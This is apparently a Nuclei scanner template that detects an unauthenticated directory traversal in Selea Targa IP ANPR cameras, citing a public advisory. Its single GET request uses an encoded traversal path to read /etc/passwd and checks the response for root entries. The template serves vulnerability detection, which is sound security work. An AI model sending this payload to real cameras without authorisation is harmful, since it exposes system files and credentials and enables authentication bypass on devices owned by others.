id: targa-camera-lfi

info:
  name: Selea Targa IP OCR-ANPR Camera - Unauthenticated Directory Traversal
  author: gy741
  severity: high
  description: The ANPR camera suffers from an unauthenticated arbitrary file disclosure vulnerability. Input passed through the Download Archive in Storage page using get_file.php script is not properly verified before being used to download files. This can be exploited to disclose the contents of arbitrary and sensitive files via directory traversal attacks and aid the attacker to disclose clear-text credentials resulting in authentication bypass.
  reference: https://www.zeroscience.mk/en/vulnerabilities/ZSL-2021-5616.php
  tags: targa,lfi,iot,camera,selea

requests:
  - method: GET
    path:
      - "{{BaseURL}}/CFCARD/images/SeleaCamera/%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2fetc%2fpasswd"

    matchers-condition: and
    matchers:

      - type: regex
        regex:
          - "root:.*:0:0:"

      - type: status
        status:
          - 200